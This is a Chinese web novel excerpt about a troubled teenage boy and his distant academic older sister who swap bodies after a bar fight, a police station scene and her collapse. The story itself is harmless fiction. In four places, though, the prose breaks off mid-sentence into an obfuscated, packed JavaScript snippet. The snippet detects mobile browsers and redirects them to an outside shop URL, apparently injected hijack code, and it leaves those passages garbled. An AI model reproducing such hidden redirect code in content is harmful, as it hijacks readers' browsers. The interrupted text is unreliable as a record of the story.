《和姐姐互换身体后》 1. 恨海难填 沈渡舟是在那杯酒里看见她的。 准确地说,是那杯兑了绿茶的芝华士,十二年的,八百一壶,卡座最低消费。透明的杯壁上凝着水珠,顺着玻璃往下滑,在镭射灯扫过的瞬间折射出一小片细碎的光。她就坐在那片光的边缘,吧台的高脚凳上,背对着舞池里摇晃的人影。 她太干净了。 这是沈渡舟的第一反应。干净得像一截被误扔进泔水桶的白藕——不对,这个比喻太恶心,但他一时想不出更合适的。总之,在这间烟雾缭绕、酒气熏天、音乐震得人胸腔发麻的酒吧里,她穿着一件领口发白的奶白色针织衫,扎着最普通的马尾,露出一截细白的后颈,活像一只误入丛林的羊。 “看什么呢?”旁边的人撞了撞他肩膀,他嘴里叼着烟,眯着眼顺着他的视线看过去,“哟,学生妹?装纯的吧,这种地方哪来的——” 话没说完,沈渡舟已经站了起来。 因为他看见了那只手。 从吧台内侧伸出来的,男人的手,小臂上纹着看不清的图案,手指粗短,正贴着那女孩的大腿外侧往上蹭。女孩的脊背僵了一下,往旁边挪了挪,那只手就跟过去,像鼻涕虫一样甩不掉。 沈渡舟走过去的时候,脑子里什么也没想。后来在派出所做笔录,警察问他“当时怎么想的”,他张了张嘴,发现自己答不上来。 真没想别的,就像走在路上看见有人摔了,顺手扶一把那种——虽然他没扶过,但应该是这种感觉。 “妹妹,一个人啊?请你喝一杯?” 纹身男凑得很近,说话时喷出的酒气几乎要贴到女孩脸上。女孩别过头,整个人往后缩,后腰抵上冰冷的吧台边缘,退无可退。 沈渡舟抬手,按住了那只正要往女孩腰上搂的胳膊。 纹身男一愣,扭头看他。 “她说不喝。”沈渡舟说。 他十七岁,一米七八,偏瘦,体脂率可观,穿的一件洗到发软的黑色卫衣,帽子上的抽绳一边长一边短,左边耳骨上钉着一颗极小的银钉——那是去年自己用冰镇麻药和一根银针打的,化脓了半个月。 他看起来就是个普通的高中生,甚至因为瘦,显得比实际年龄还小几岁。 纹身男上下打量他一遍,笑了。 “你谁啊?她男朋友?” 沈渡舟没理他,低头看那女孩:“走不走?” 女孩抬起头,正好对上他的眼睛。 那双眼睛很黑,黑得像深不见底的井,里面什么情绪都没有,却又像什么都装着。她愣了一下,然后飞快地点头,从那角落钻了出来,躲到他身后。 沈渡舟转身,带着她往外走。 身后传来椅子腿刮过地面的刺耳声响。 “操。” 纹身男的声音从牙缝里挤出来,带着酒精发酵后的浑浊怒气。沈渡舟没回头,但听见了脚步声,凌乱、急促、不止一个人。他把女孩往旁边推了一把:“跑。” 然后他转过身,迎面撞上纹身男的拳头。 他躲了一下,没完全躲开,拳头擦着颧骨过去,火辣辣的疼。但下一秒他的膝盖已经顶进对方腹部——打架这种事,他熟。从初一那年开始,他就知道怎么用最小的代价让对方疼。 但那是在学校,在巷子里,在势均力敌的男孩之间。 不是在酒吧,不是对成年人,不是对三个。 第二个人是从侧面冲过来的,抄起吧台上不知道谁的酒瓶,抡圆了砸下来。沈渡舟抬起胳膊去挡,玻璃瓶在他小臂上炸开,酒液混着血沫子溅了一脸。他踉跄了一下,还没站稳,第三脚已经踹在他膝窝上。 他单膝跪地,膝盖磕在满地碎玻璃上,尖锐的刺痛从四面八方扎进来。 混乱中他听见尖叫声,女孩的,还有别的。有人喊“别打了”,有人喊“报警了”,有人只是起哄地吹口哨。 音乐停了,镭射灯灭了,白炽灯亮起来的那一瞬间,沈渡舟看见那女孩缩在墙角,双手捂着嘴,眼泪糊了满脸。 她没跑。 他想,傻逼。 然后一记闷拳落在他后脑勺上,视野里炸开一片白光。 派出所的椅子很硬,铁质的,漆面斑驳,坐上去冰凉。 沈渡舟坐在上面,半边脸肿着,嘴角凝着干涸的血痂,左手的虎口到手腕豁开一道口子,缝了七针,纱布缠得乱七八糟——急诊室值班的是个实习生,手法生疏,弄得超级疼,一边缝一边问他疼不疼,他懒得说话,只是一味摇头。 对面的审讯桌后面坐着一个年轻警察,圆脸,看着比他也大不了几岁,正在翻笔录,偶尔抬头看他一眼,眼神复杂。 “你说你是去帮忙的?” “嗯。” 警察肯定是表示质疑,哪个正经学生往酒吧跑,还跟人打架,这合理么。 “那女孩指认你骚扰她,跟那几个人是一伙的,争风吃醋打起来了。” 沈渡舟沉默了两秒,显然还没吃过这样的亏上这样的当。 然后他笑了一下,嘴角扯动伤口,疼得他倒吸一口凉气。但这笑还是挂在那里,挂在肿起来的半边脸上,看起来有些滑稽。 “她说,我跟他们是一伙的?”他一字一字反问道。 年轻警察没说话,但眼神已经回答了。 沈渡舟垂下眼,盯着自己缠着纱布的手。纱布上洇出一点淡黄色的药水和更淡的血迹,像一幅没画完的抽象画。他想说点什么,比如她为什么,比如那几个人明显认识老板,比如她可能害怕报复——但话到嘴边,又咽了回去。 说了有什么用。 他太早学会这个道理。 审讯室的门被推开,另一个警察探进头来:“沈渡舟是吧?你家属来了。” 他抬起头,看见门缝里闪过一个身影。 然后门彻底打开,那个女人走进来。 她穿着一件深灰色的西装外套,里面是白色的衬衫,扣子扣到最上面一颗,领口没有一点褶皱。头发整齐地挽在脑后。脸上没有妆,但皮肤白净,眉眼清冷,像刚从某个学术会议现场被拽出来——事实上也确实如此,她昨天深夜接到电话,今天一早从邻市的高校交流会上赶回来,四个小时高铁,然后打车直奔派出所,路上还在回工作消息。 沈渡舟看着她,看着她走到审讯桌前,看着她和警察说话,声音不高不低,清冷得不近人情,那半死不活的语调不冷不热,每一个字都精确得像用尺子量过。 “我是他姐姐。” “身份证在这里。” “情况我了解了,需要办什么手续?” 从头到尾,她没有看他一眼,她办事利落直接,从不讲多余的废话。 办完手续,签完字,接受完所有该接受的训诫,她终于转过身来。 沈渡舟从那张冰冷的铁椅子上站起来,膝盖上的伤口被扯动,疼得他微微一趔趄。他稳住身形抬起头,对上她凌厉的视线。 那双眼睛他很熟悉,和他自己的几乎一模一样——黑,深,看不出情绪。只是有一些极其细微的差异,一点点,像那墨汁滴进清水,洇开的第一个瞬间。 嫌恶。 是的,嫌恶。 不是失望,不是心疼,不是担忧。是嫌恶。像看一件穿脏了又洗不干净的衣服,像看一只在厨房角落发现的蟑螂,像看一个烂透了的东西。 沈渡舟不禁想问她,自己是什么臭鱼烂虾么,为什么要这样看自己。 不过他没这个胆子问,假若真问出口了,还指不定怎么被奚落自讨没趣罢了。 “你知不知道,”她开口,声音很平,“我早上有一个课题申报的截止日期?” 沈渡舟没说话。 “你知不知道,我昨晚改PPT改到三点?” 沈渡舟还是没说话。 “你知不知道,”她往前走了一步,离他很近,近到他可以看清她眼底的红血丝,“我从去年到现在,就休过三天假?那三天还是因为你打架被学校叫家长?” 沈渡舟想,原来她休过假,他真不知道。 “你就不能让我省点心?”她说,“你就不能像个正常人一样活着?” 正常人。 这三个字落进他耳朵里,像一颗石子投进深井,过了很久,才听见回音。 他张了张嘴,想说点什么。想说他今天真的是去帮忙的,想说那个女孩不知道为什么反咬一口,想说他膝盖上还有玻璃碴子没挑干净,想说他缝针的时候没打麻药也没哭。 但他说出来的只有一句话:“你问过我为什么打架吗?” 她愣了一下。 “你问过我吗?”他重复,声音大了一点,“从初一开始,你被叫了那么多次家长,你问过一次吗?” “我问了有用吗?你哪次不是——” “初一那次,”他打断她,“李浩他们把我堵厕所里,扒了我裤子录像,我反抗了,打起来了,老师叫家长。你来了一句话都没问我,直接给那几个人鞠躬道歉。回去路上你说,你能不能消停点,家里已经够乱了。” 她不说话了。 “初二,我在校门口被堵,他们让我跪下,我不跪,又打起来了。你来了一句:你怎么总和这些不三不四的人混在一起?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345243|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初二下学期我开始抽烟,逃课,和社会上的人混。你猜为什么?” 他的声音抖起来,眼眶发红,但没哭。他从初一之后就没再哭过。 “因为我发现,我不管干什么,在你眼里都是一样的。我好好学习,你看不见。我被欺负,你懒得管。我烂掉了,你终于能有个理由——哦,果然是个烂人。” “那我为什么还要当好学生?” 审讯室里的空气凝固了。 她站在那里,像被人钉住了。 过了很久,久到沈渡舟以为她不会说话了,她才开口。 “我……” 只说了一个字。 然后她抬起手。 沈渡舟没躲。他看见那只手朝自己脸上过来,他想,也好,打吧,打完了就真的两清了。 那只手落在他脸上。 不是巴掌。 是掌心。 温热的,颤抖的,贴在他肿起来的半边脸上。那温度和他脸上的冰凉形成一种奇异反差,让他整个人一僵。 但下一秒,那只手收回去,握成拳,垂在身侧。 “走吧。”她说,声音涩得像砂纸,“有事回去再说。” 她转身往外走。 沈渡舟站在原地,看着她的背影。她的肩膀有点塌,背却挺得很直。西装的料子在后腰处压出一道浅浅的褶,那是长时间坐火车留下的痕迹。 他跟着她走出审讯室,穿过走廊,走到派出所门口。 走过回廊,还要下台阶,这会儿下着雨,不知道什么时候下起来的,细细密密,路灯下像一蓬发亮的针。她站在台阶边缘,似乎在犹豫要不要冲进雨里。 沈渡舟走到她身边,站定。 两个人并肩站着,谁也没动。 “沈知窈。”他叫她名字,而不是姐。 她侧过头。 “你刚才是不是想打我?” 沈知窈没回答。 “想打就打吧。”他说,“打完就不欠了。” 她看着他,那张和她相似的脸上,肿着,脏着,眼底有一种她从未见过的东西——不是叛逆,不是混不吝,是累了。是那种累了很多年,已经不指望被看见的累。 “谁欠谁?”她轻声说。 雨声淅沥,暴雨将至。 然后她伸出手,这次是真的。 一巴掌,落在他脸上。 不重,但清脆。 沈渡舟没动,挨了这一下。 打完,她收回手,深吸一口气,走下台阶,走进雨里。 他沉默着,灰溜溜地跟上。 两个人一前一后,隔着三步远的距离,走在深夜的雨里。路灯把他们的影子拉得很长,有时交叠,有时分开。偶尔有出租车驶过,溅起一片水花,谁也没伸手拦。 沈渡舟低着头,盯着自己脚下。雨水渗进鞋里,纱布湿透了,伤口开始发痒。 他想,回去得换药。 然后他看见前面的人影在雨幕里晃了一下。 下一秒,他看见她倒在雨地里,黑色的路面泛着水光,她的灰色西装像一片洇开的墨。 他跑过去,蹲下,拍她的脸。 她的头发、脸庞都被雨水打湿了。 “沈知窈?” 他喊了一声,可她没反应。 “姐?” 他颤抖着声音又喊了一声,还是没反应。 沈渡舟慌了,掏出手机,手指发抖,按了好几次才按对急救电话。接通的那一瞬间,他听见自己的声音,陌生得像另一个人: “救命,我姐晕倒了,我们在……” 他低头看路牌,雨水疯狂落下,糊了眼睛,完全看不清。 然后他感觉到沈知窈的手动了动,抓住了他的手腕,很紧,像溺水的人抓住最后一根浮木,他被捏得生疼。 “……你……别走。” 沈渡舟赶紧低下头凑近她,可惜还是听不清楚他姐在咕哝啥。 最后她的眼睛睁开一条缝,发白的嘴唇动了动,没发出声音。 救护车的鸣笛声从远处传来,在马路上乘风破浪,红蓝的光在雨夜里一闪一闪。 沈渡舟跪在雨里,任她抓着自己的手腕,一动不动。 后来他无数次回想这个夜晚,都想不明白一件事:如果知道那级台阶是通往另一个世界的入口,他会不会在她打那一巴掌之前,先告诉她,其实他不怪她。 但他不知道。 没人知道。 他们只是两个溺水的人,在同一个雨夜,被暴雨打得无处可逃,只能紧紧抓住彼此,然后一起沉下去。 2. 身份互换 沈知窈是被一阵尖锐的刺痛唤醒的。 那尖锐摸痛从后脑勺的某个点炸开,顺着颈椎往下爬,爬到肩胛骨的时候她彻底醒了。她睁开眼,看见一片惨白的天花板,天花板上有一道细长的裂缝,从左上角蜿蜒到正中央,像一条干涸的河床。 她偏过头,看见床头柜上摆着一杯水,水里插着吸管,杯壁上凝着细密的水珠。再往旁边,是她的包,灰色的托特包,搭扣开着,露出一角笔记本电脑的银色边缘。 她松了口气。 看来没什么大事。可能是低血糖,可能是熬夜太多,可能是——她抬起手,想摸一摸后脑勺那个疼痛的源头。 然后她看见了那只手。 那不是她的手。 那只手停在她眼前,距离鼻尖不到二十厘米。骨节分明,手背上有几道细小的划痕,虎口处缠着一圈纱布,纱布边缘微微泛黄,渗出一点淡褐色的药水。指甲剪得很短,指甲缝里有一点洗不掉的灰。 那是一只少年的手。 一只她熟悉的手。 她盯着那只手,大脑一片空白。空白持续了三秒,然后她猛地坐起来,低头看自己——蓝色的病号服,宽宽大大的,穿在身上空荡荡的。胸口是平的。腿变长了,脚变大了,整个人像被拉长了一截,又像被抽走了一部分。 她张开嘴,想喊。 发出的声音却是另一个人的——低了一点,哑了一点,带着十七岁男孩变声期结束后的毛糙感。 那声尖叫卡在喉咙里,变成一声短促的、压抑的“啊”。 然后她听见旁边有人说话了。 “你能不能别用我的脸发出那种声音?” 那声音是她的。 疲惫的、低沉的、带着常年说话太多留下的沙哑——那是她的声音,从她自己的身体里发出来,但说话的明显不是她。 她猛地扭头。 旁边的病床上躺着另一个人,穿着和她一模一样的病号服,正用手撑着床板慢慢坐起来。那人的动作有点笨拙,像是第一次使用这副身体,肩膀耸着,脖子梗着,坐起来之后低头看了看自己胸口,然后飞快地移开目光。 那张脸是她的。 沈知窈看着“自己”坐在那里,表情复杂地看着她,一时不知道该说什么。 “操。”那张和她一模一样的嘴动了动,吐出这么一个字。 是她弟的声音,但用的是她的嘴。 沈知窈下意识想说“别说脏话”,但话到嘴边又咽了回去——她不确定现在该用什么语气说话。用她自己的语气?但她现在顶着她弟的脸。用她弟的语气?她不会。 她弟——那个用着她的身体、坐在旁边病床上的人——又开口了:“你掐我一下。” “什么?”沈知窈一脸问号。 “掐我一下,该死的,我看看是不是做梦。”沈渡舟视死如归,脸上一派死灰。 沈知窈犹豫了一下,伸出手,掐了一下他的胳膊。 用的她弟的手,捏自己的胳膊。 触感是真实的,温热的,有弹性的,好诡异。 “疼吗?”她问。 “疼。”他低头看着自己被掐红的手臂,沉默了两秒,“看来不是做梦。” 两个人望着彼此的脸,同时沉默了。 病房里很安静,只有走廊上偶尔传来的脚步声和远处护士站的铃声。窗帘没拉严,一道阳光从缝隙里挤进来,落在两床之间的地板上,细细的一条,像一根发光的线。 沈知窈的大脑飞速运转。她想起昨晚的事——派出所,雨夜,台阶,她打了他一巴掌,然后她往下倒,他接住她,然后——然后就没有了。 “我们是怎么来医院的?”她问。 “我打的120。”他说,用的是她的声音,听起来怪怪的,“你在雨里倒下了,我打电话叫救护车。” “然后呢?” “然后不知道咋的,救护车来了,再然后我们到医院了,再再然后我就醒了,再再再然后,我就听见你尖叫了。”他顿了顿,“最后就现在这样了。” 沈知窈看着笨拙比划的弟弟,用着自己的脸,极力扮演着“姐姐”角色,心中有一种说不出的酸涩。 “我们得想办法换回来。”她说。 “怎么换?”沈渡舟快哭出来了。 “……不知道。”沈知窈叹了口气。 “那怎么办?”沈渡舟已经绝望地闭上了眼。 “先别让人发现。”她看着他,用她弟的脸,做出一个思考的表情,“从现在开始,你是沈知窈,我是沈渡舟。” 他盯着她,用她的脸,做出一个“你在逗我”的表情:“我?沈知窈?你确定?你就不怕,我搞砸了一切?” “那你还有更好的办法吗?”沈知窈瞥了他一眼。 沈渡舟认真想了想,摇头。 “那就这么定了。”她说,“记住,你现在是女的,快三十岁的人了,稳重些,作为一位高校老师,情绪稳定点,别太没素质,说话要慢一点,语气要稳一点,别动不动说脏话。” “我平时不说脏话。”他反驳。 “你刚才说了。”沈知窈有点生气。 “那是特殊情况。”沈渡舟继续辩驳。 “那特殊情况也不能说。”沈知窈盯着他,“用我的嘴,别说脏话。” 他张了张嘴,想反驳,但最后只是“哦”了一声。 那个“哦”是用她的声音说的,但语气完全是他的——敷衍的、不耐烦的、带着点青春期特有的倔强。沈知窈听着,觉得既陌生又熟悉,那别扭劲,就像在看一部配音对不上口型的电影。 门被推开了。 一个穿白大褂的医生走进来,手里拿着病历本,抬头看了他们一眼:“醒了?感觉怎么样?” 沈知窈下意识想回答,但沈渡舟比她快一步:“还行。” 医生看向他——或者说,看向“沈知窈”——因为沈渡舟用的是沈知窈的身体,医生自然认为他才是那个需要询问的成年人。 “你是家属?”医生问沈知窈。 沈知窈愣了一下,才意识到医生在问“沈渡舟”,她小鸡啄米似的点了点头。 “你姐姐没什么大问题,就是过度疲劳加上低血糖,晕倒了。休息两天就行。”医生翻了翻病历,“倒是你,膝盖上那几道口子有点深,缝了几针,记得别沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不知道?” “我一般看心情,想去就去,不想去就不去。” 沈知窈沉默了两秒,压下那股想教育人的冲动。她现在不是他姐,她是他。她得用他的方式活着。 “那你今天心情怎么样?”她问。 他看着窗外,想了想:“还行吧。” “那就去上课。” 他回过头,用她的眼睛看着她——那双眼睛和她的一模一样,黑漆漆的,看不出情绪。但此刻里面有一点意外,一点好奇,一点“你居然让我去上课”的惊讶。 “行。”他说。 门又被推开了。 这次进来的是个警察,年轻,圆脸,看着比沈渡舟也大不了几岁。沈知窈认出他来——昨晚在派出所见过的那个。 “醒了?”年轻警察走进来,手里拿着一个文件夹,“正好,有几个问题想再了解一下。” 沈知窈的心提了起来。 3. 为自己发声 昨晚的事还没完。她弟还在局子里挂着“寻衅滋事”的名头,虽然保释出来了,但事情没解决。那个女孩反咬一口,说他们是一伙的,说他们争风吃醋打起来了,说她弟骚扰她。 现在警察来了。 而她弟——那个真正的当事人——正顶着她年近三十的皮囊,站在窗边,一脸状况外的表情。 她得想办法应付过去。 “您好。”她开口,用的是她弟的声音。她尽量让语气听起来正常一点,不卑不亢,像一个普通的高中生在面对警察时该有的态度。 年轻警察看了她一眼,又看了看窗边的“沈知窈”,愣了一下:“您是……家属?” “我是他姐。”沈渡舟突然开口。 沈知窈一愣,扭头看他。 他走过来,步子迈得稳了一点,但走路的姿势还是有点别扭——沈知窈的身体比他原来的矮,重心不一样,他好像还没完全适应。他走到病床边,在椅子上坐下,动作刻意放慢,坐定之后还伸手拢了拢病号服的领口。 那是沈知窈的习惯动作。 她每次坐下之前都会整理一下衣服,哪怕只是病号服,也要保证自己板正得体。 她意识到,弟弟在模仿她。 而且模仿得还挺像。 “昨晚的事,”沈渡舟开口,用的是她的声音,语速放慢了,语调压低了,听起来沉稳、克制、有分寸,“我想再说明一下情况。” 年轻警察看了看他,又看了看手里的文件夹,似乎在确认身份。沈知窈的身份证上照片是正经的证件照,五官清冷,表情疏离,和眼前这个坐在病床上的女人对得上。 “沈知窈女士?”警察问。 “是我。”沈渡舟的语气十分笃定。 “您是当事人的姐姐?”警察又问。 “是。”沈渡舟脸不红心不跳。 “昨晚您来派出所办保释的时候,我们简单聊过。当时您弟弟的状态……”警察看了沈知窈一眼,斟酌了一下用词,“情绪貌似不太稳定……现在可以再聊聊吗?” 沈渡舟点了点头。 沈知窈站在旁边,手心开始出汗。 她不知道她弟要说什么,她不知道他会不会说错话,会不会露馅,会不会用她的嘴说出什么不符合她人设的话来。她想插嘴,但她现在是“沈渡舟”,是一个被保释出来的、情绪不稳定的高中生,轮不到她说话。 “昨晚的事,任凭谁来,都做不到情绪稳定。”沈渡舟开口,“我弟是去帮忙的——明明是在帮人,最后变成了帮凶,这不是欺负老实人么。” 年轻警察没说话,等着他继续。 “那个女孩,我弟弟他不认识。他看见有人在骚扰女孩,出于见义勇为的心理,这才上去制止。后来打起来,是因为对方人多,他一个人打不过。”沈渡舟顿了顿,“至于那个女孩为什么反咬一口,我不知道。可能是害怕报复,可能是被人威胁了。但有一件事我可以肯定——” 他看着年轻警察,用沈知窈的眼睛,沈知窈的语气,一字一句说:“我弟不是去打架的,他是去帮人的,如果对方还要继续抹黑,我觉得我有必要采取法律手段,务必还我弟弟一个清白。” 年轻警察低头看笔录,又抬头看他:“但那个女孩的口供不是这样的。她说你弟弟和那几个人是一伙的,说他们争风吃醋打起来了。” “她撒谎。”沈渡舟一口咬定。 “你怎么知道?”警察微微一愣。 “因为我弟不是那种人。”沈渡舟挺胸抬头。 这句话说出来的时候,窗边的沈知窈愣了一下。 沈渡舟在为自己辩护,用沈知窈的身份、用她的嘴说她会说的话。但这句话的内容,是她从来没说过的。 她从来没说过“我弟不是那种人”。 她从来没替他辩护过。 每次出事,她第一反应都是:他又闯祸了,他又惹麻烦了,他又让她丢脸了。她从来没想过,也许他不是故意的,也许他有苦衷,也许他是受害者。 她站在那里,看着她弟——用她的身体,坐在椅子上,表情认真,语气笃定——替她自己都不了解的“他”辩护,心里涌起一种奇怪的感觉。 酸涩的,胀胀的,像有什么东西堵在那里,让人几乎喘不上气。 “或许可以调一下监控?”年轻警察想要缓和一下紧张氛围。 沈渡舟沉默了两秒。 刹那间沈知窈的心悬了起来。 他们现在确实什么证据都没有,那个女孩反咬一口,那几个帮凶混混跑得没影,酒吧的监控就算有也不一定愿意给。 “酒吧门口有监控。”沈渡舟突然说。 年轻警察抬头看他。 “我弟进去之前,在门口站了一会儿。那个女孩比他先进去,前后不超过五分钟。他们根本不认识,不可能是一伙的。”沈渡舟顿了顿,“门口的监控应该能拍到。” 年轻警察低头在本子上记了什么,笔尖摩擦纸面沙沙作响。 “还有,”沈渡舟继续说,“我弟的手机里有定位记录。昨晚几点进酒吧,几点出来,都能查到。进去那个酒吧需要会员登录,也就是打开手机定位,这样一来可以比对一下,他们之前时间轨迹有没有重合。” 沈知窈愣住了。 她没想到她弟知道这些。 不,不对——她弟不知道这些。她弟只是一个十七岁的高中生,整天逃课打架,怎么可能知道什么定位记录、轨迹比对? 他是编的。 对,没错,他在现场编的。 而且编得像模像样,用的是她会用的逻辑和术语。 年轻警察又记了几笔,然后抬头看沈渡舟:“您说的这些,我们会去核实。” “谢谢。” 年轻警察合上文件夹,站起来,看了沈知窈一眼——或者说,看了“沈渡舟”一眼。那眼神里有审视,有评估,有“你最好老实点”的警告。 沈知窈乖乖垂下眼,没说话。 年轻警察走了。 门关上之后,病房里又安静下来。 沈知窈站在床边,看着坐在椅子上的“自己”,不知道该说什么。 沈渡舟先开口了:“怎么样?” “什么怎么样?” “我刚才演得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“沈知窈,”他说,用她的声音叫她的名字,听起来怪怪的,“你行吗?” 这是她第一次听他用这种语气说话,不是叛逆,不是冷漠,不是“关你屁事”。 是担心。 是“你行吗”这种带着点笨拙的、青春期男孩特有的关心。 她看着他,看着自己的脸,看着那双和自己一模一样的眼睛里流露出的陌生情绪。 “我行。”她说,“你也行。” 他愣了一下。 “你刚才替我辩护的时候,”她继续说,“说得很好。比我自己说都好。” 他别过脸去,不看她,:但那别过脸去的动作是用她的身体做的,看起来有点别扭,又有点可爱。 “废话。”他说,声音闷闷的,“我是你弟。” 沈知窈看着他,心里那个堵了很久的地方,突然松开了一点。 4. 各回各家 沈渡舟站在医院门口,低头看着自己。 准确地说,是低头看着沈知窈的身体。 阳光直直地打下来,他这才有机会好好打量这副他被迫接手的身躯。沈知窈今天穿了一件浅灰色的西装外套,里面是白色的衬衫,扣子扣到最上面一颗,领口紧贴着脖子。下身是一条同色系的西装裤,脚上是一双低跟的皮鞋——他从没见她穿过高跟鞋,原来她一直穿这种矮矮的、走路不会太累的款式。 他抬起手,看着那双手。 沈知窈的手。比他的手小一号,手指细长,指甲修剪得整整齐齐,没有涂任何颜色。手背上能看见浅浅的青筋,皮肤有点干,指节处有细小的纹路,那是常年敲键盘留下的痕迹。 他把手放下来,试着走了两步。 这具身体比他原来的轻,但重心不一样,走路的时候总感觉哪里不对劲。肩膀太窄,步子迈不大,腰好像也比他的细,不过他没敢细看,只是凭感觉调整着走路的姿态。 最要命的是累。 才从病房走到医院门口,不过几百米的距离,他就觉得有点喘。这具身体好像被什么东西掏空了,轻是轻,但轻得像一张纸,风一吹就能倒。 他想起来,昨晚他姐晕倒在雨地里,医生说是过度疲劳加低血糖。 过度疲劳。 他低头看着脚下的路,没说话。 旁边传来一个声音:“你家在哪?” 是沈知窈。 她正用他原来的声音,他原来的身体,站在他旁边,正皱着眉看他。 那表情他太熟悉了,他每次闯祸之后,他姐看他就是这种表情。但现在那张脸是他的,那个表情就变得很诡异,像在看一个陌生人,又像在看自己。 “你先说你的。”沈知窈挑了挑眉。 “我问你。”沈渡舟不肯退让。 “你先说。”沈知窈固执道。 沈渡舟盯着看了两秒,最后选择妥协了:“城中村,上沙村,你知道在哪吗?” 那是城市边缘的一片握手楼,房租便宜,住的都是外卖员、快递员、流水线工人,还有沈渡舟这种不想回家的人。 “知道。”他说,“你呢?” “景田北,有个老小区,叫翠景阁。”沈知窈说。 沈渡舟对城市的认知仅限于学校、网吧、台球厅和他住的那一片。景田北这种地方,一听就是正经人住的地方,他从来没去过。 “行。”他说,“你先回我的家,我也回家,不过是回你的家,咱们晚上再联系。” 沈知窈点了点头,相互交换了钥匙,转身要走。 “等等。”他叫住她。 她回过头,用他的脸看着他。 沈渡舟张了张嘴,想说点什么。比如你小心点,比如别露馅,比如有什么事给我打电话。但话到嘴边,又觉得说不出口——他用她的嘴说这些话,感觉怪怪的。 最后他只是说:“你身上有钱吗?” 沈知窈愣了一下,低头翻了翻他——她现在的——衣服口袋。牛仔裤口袋里摸出皱巴巴的六十块钱,一包已经瘪了的烟,一个打火机。 “就这些。”她说。 沈渡舟也低头翻沈知窈的包。灰色的托特包,里面有一个钱包,钱包里有三百多块现金,几张银行卡,一张身份证。他抽出两张一百的递给她。 “拿着。” 沈知窈看着那两张钞票,没接。 “你干嘛?” “打车。”他说,“别挤公交了,你那身体……我这身体,现在这样,挤不动。” 他本来想说“你这身体太虚了”,但话到嘴边改成了“挤不动”。沈知窈看了他一眼,接过钱,塞进口袋里。 “你呢?”她问。 “我跑步。” “跑步?” “嗯。我跑过半马。”他顿了顿,用她的声音补充了一句,“不过你这身体可能跑不了,但我觉得我可以。” 他站在原地,看着那个熟悉又陌生的背影消失在人群里。那是他的背影,他的步态,他的走路姿势——但现在装在里面的是他姐。 他想起刚才那句话:“我跑过半马。” 那是真的,去年他报过名,自己一个人跑完了二十一点一公里,没人知道,没人加油,跑完之后在终点站了半天,不知道该干什么,然后坐公交回家了。 他不知道他姐跑过没有,他看猜没有。她太忙了,忙到连吃饭的时间都没有,哪来的时间跑步。 他深吸一口气,迈开步子往前走。 沈知窈的身体比他想象的更难控制,步子迈大了,重心不稳;迈小了,走得太慢。他试了几次,找到一个折中的节奏,不快不慢,刚好能让这具身体承受得住。 走了十分钟,他就开始喘了。 不是累的那种喘,是虚的那种喘。像有一只手攥着他的肺,让他怎么吸气都不够用。他停下来,扶着路边的栏杆,大口大口地呼吸。 旁边走过去一个老太太,看了他一眼,眼神里有一种“年轻人怎么这么虚”的意味。 他想骂人,但没力气骂。 歇了两分钟,他决定打车。不过点开app的看了眼价格后,沈渡舟觉得太不划算了,意志力战胜了干瘪的钱包。 走了大概四十分钟,他终于到了那个叫翠景阁的小区。老小区,六层楼,没电梯,外墙的涂料剥落了大半,露出下面灰扑扑的水泥。他站在楼下,抬头数了数,五楼,东边那户。 他姐住五楼。 没电梯。 他看着那楼梯,沉默了很久,然后开始爬。 爬到三楼的时候,他的腿开始发软。爬到四楼的时候,眼前开始发黑。爬到五楼的时候,他靠在墙上,喘得像个被废弃的破风箱,眼前一阵一阵地冒金星。 他在门口站了足足五分钟,才缓过劲来。 门是密码锁,他试了他自己的生日——居然开了,真是破天荒。 门推开的一瞬间,他闻到一股淡淡的香味,不是香水,是洗衣液混着阳光的味道。他走进去,站在玄关处,看着这个他从来没来过的空间。 一室一厅,收拾得干干净净。沙发上是格子图案的罩子,铺得平平整整,没有一个褶皱。茶几上放着一盆绿萝,叶子蔫蔫的,土已经干裂了。电视柜上摆着几本书,全是专业相关的,没有一本小说,没有一本杂志。 阳台上晾着衣服,全是素色的——白衬衫、灰裤子、米色的内衣。他红着脸迅速移开目光,走进卧室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他盯着那条消息,看着那个“周导”的名字,想起昨晚在医院他姐的手机上也出现过这个人。那些没发出去的消息,那些“好的我马上改”,那些“抱歉我会调整”。 他把手机扔在床上,没回。 又震了一下。还是那个周导:“沈知窈,你在吗?看到消息回一下。” 他拿起手机,打了几个字,又删掉。再打,再删。最后他发了一个字:“好。” 发完之后,他把手机扔到一边,躺在他姐的床上,盯着天花板。 天花板上什么都没有,白茫茫的一片,像医院。 他想起他姐刚才站在医院门口的样子,用他的身体,穿着他的衣服,表情有点茫然。他不知道她能不能找到上沙村,不知道她会不会被人认出来,不知道她能不能应付那些他每天都要面对的东西。 